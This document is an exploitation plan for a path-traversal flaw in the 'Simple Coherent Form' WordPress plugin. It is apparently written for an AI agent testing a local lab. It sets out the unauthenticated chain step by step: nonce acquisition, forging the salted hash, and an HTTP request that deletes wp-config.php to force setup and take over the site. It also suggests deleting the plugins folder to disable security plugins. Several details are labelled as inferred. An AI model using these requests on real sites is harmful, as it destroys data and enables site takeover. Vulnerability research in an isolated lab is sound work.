Exploitation Research Plan: CVE-2026-14487

1. Vulnerability Summary

The Simple Coherent Form plugin (<= 2.4.13) contains a critical path traversal vulnerability in its file management logic. The function removeUploadDir fails to validate the id parameter, which represents a directory or file path. Because the plugin provides a nonce-generation endpoint (scf_get_id_upload) to unauthenticated users and utilizes a forgeable secondary hash check (based on a hardcoded salt), an unauthenticated attacker can delete arbitrary files on the WordPress filesystem, including wp-config.php.

2. Attack Vector Analysis

• Vulnerable Endpoint: admin-ajax.php
• Action 1 (Nonce Acquisition): scf_get_id_upload (Inferred AJAX action)
• Action 2 (Exploitation): scf_remove_upload_dir (Inferred AJAX action mapped to removeUploadDir)
• Vulnerable Parameter: id
• Authentication: Unauthenticated (NOPRIV)
• Preconditions: The plugin must be active. No specific form needs to be submitted by a legitimate user, as the "upload" directory logic can be triggered via traversal.

3. Code Flow

1. Registration: The plugin registers two AJAX handlers via wp_ajax_nopriv_ hooks.
   • wp_ajax_nopriv_scf_get_id_upload calls a function that generates and returns a nonce for scf_upload_file_removal.
   • wp_ajax_nopriv_scf_remove_upload calls removeUploadDir.
2. Nonce Generation: The scf_get_id_upload handler calls wp_create_nonce( 'scf_upload_file_removal' ) and returns it to the visitor.
3. Vulnerable Sink: Inside removeUploadDir:
   • The function retrieves $_POST['id'] (or $_GET['id']).
   • It checks the scf_upload_file_removal nonce.
   • It performs a secondary hash check: md5( $id . 'SCF_HARDCODED_SALT_HERE' ) (Salt is inferred to be a static string in the source).
   • If checks pass, it constructs a path: $upload_dir . $_POST['id'].
   • It calls a recursive deletion function or unlink()/rmdir() on the path.
   • Traversal: If id is ../../wp-config.php, the resulting path points to the WordPress root, leading to file deletion.

4. Nonce Acquisition Strategy

The vulnerability description confirms that scf_get_id_upload freely issues the required nonce.

1. Identify Script Localization: The plugin likely enqueues a script that makes this AJAX call.
2. Target Page: The nonce is expected to be present on any page where a "Simple Coherent Form" is rendered, or globally if the plugin enqueues scripts on all front-end pages.
3. Shortcode: Use [simple_coherent_form] (inferred) to ensure scripts load.
4. Browser Extraction:
   • Navigate to the page containing the shortcode.
   • Execute: browser_eval("window.scf_vars?.nonce") (Variable name scf_vars is inferred).
   • Alternatively, if the nonce is returned via an AJAX call to scf_get_id_upload, the agent should trigger that request directly.

5. Exploitation Strategy

The goal is to delete wp-config.php to force WordPress into the installation setup phase, which allows an attacker to take over the site.

Step 1: Obtain the Nonce

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=scf_get_id_upload

Note: If this is an AJAX variable, extract via browser_eval instead.

Step 2: Forge the Secondary Hash

Based on the vulnerability details, the secondary hash is forgeable. If the salt is SCF_SALT_2024 (inferred/example), and the target id is ../../wp-config.php:

• Hash: md5("../../wp-config.php" + "SCF_SALT_2024")
• Note: The agent must inspect the plugin source code to find the exact hardcoded salt string.

Step 3: Trigger File Deletion

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=scf_remove_upload&id=../../wp-config.php&nonce=[NONCE_FROM_STEP_1]&hash=[FORGED_HASH_FROM_STEP_2]

6. Test Data Setup

1. Plugin Installation: Install simple-coherent-form version 2.4.13.
2. Target File: Ensure wp-config.php exists and is writable by the web server (standard WP setup).
3. Shortcode Page:

   wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[simple-coherent-form]'
   

7. Expected Results

• The admin-ajax.php response should return a success indicator (e.g., {"success":true} or 1).
• The file wp-config.php will be removed from the filesystem.
• A subsequent request to the homepage will redirect to wp-admin/setup-config.php.

8. Verification Steps

1. Check Filesystem:

   ls -la /var/www/html/wp-config.php
   

   Expected: "No such file or directory"
2. Check Site State:

   curl -I http://localhost:8080/
   

   Expected: 302 Redirect to wp-admin/setup-config.php

9. Alternative Approaches

• Path Variation: If the upload_dir is nested, try deeper traversal: ../../../../wp-config.php.
• Directory Deletion: Attempt to delete wp-content/plugins to disable security plugins.
• Missing Hash: Check if the secondary hash check is only performed if the hash parameter is present; if poorly implemented, omitting it might bypass the check.
• Default Salt: If the "hardcoded salt" is actually an empty string or a known value like the plugin version, attempt exploitation with those values.